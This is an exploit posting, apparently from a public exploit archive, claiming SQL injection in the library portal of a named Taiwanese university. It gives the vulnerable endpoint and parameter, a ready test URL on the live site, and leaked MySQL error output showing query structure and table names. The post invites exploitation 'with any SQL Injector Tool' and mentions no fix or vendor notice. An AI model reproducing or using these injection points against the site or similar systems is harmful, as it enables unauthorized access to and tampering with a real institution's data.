Library of China Science and Technology University SQL Inj

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# Exploit Title : Library of China Science and Technology University SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 07/10/2019
# Vendor Homepage : library.cust.edu.tw
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
CWE-79 [ Improper Neutralization of Input During
Web Page Generation ('Cross-site Scripting') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

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# Impact :
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Library of China Science and Technology University is prone to an SQL-injection
vulnerability because it fails to sufficiently sanitize user-supplied data before using
it in an SQL query. Exploiting this issue could allow an attacker to compromise the
application, access or modify data, or exploit latent vulnerabilities in the underlying database.
A remote attacker can send a specially crafted request to the vulnerable application and
execute arbitrary SQL commands in application`s database. Further exploitation of this
vulnerability may result in unauthorized data manipulation.
An attacker can exploit this issue using a browser or with any SQL Injector Tool.

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# SQL Injection Exploit :
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/portal_f7_cnt_page.php?button_num=f7folder_id=1cnt_id=[SQL Injection]

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# Example Vulnerable Sites :
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[+] library.cust.edu.tw/portal_f7_cnt_page.php?button_num=f7folder_id=1cnt_id=1%27

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# Example SQL Database Error :
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Error: You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '* from ,sys_folder_record where
.Fmain_id=sys_folder_record.source_id and sys_fo' at line 1
Query: select .* from ,sys_folder_record where .Fmain_id=sys_folder_record.source_id
and sys_folder_record.source_table = '' and sys_folder_record.parent_source_id=''
order by .rank desc
Error: Table 'cust._cnt' doesn't exist
Query: update _cnt set `hit_count`='1' where Fmain_id = '' and _id=''
Error: Table 'cust._cnt' doesn't exist
Query: select * from _cnt where _id='' order by rank desc

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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

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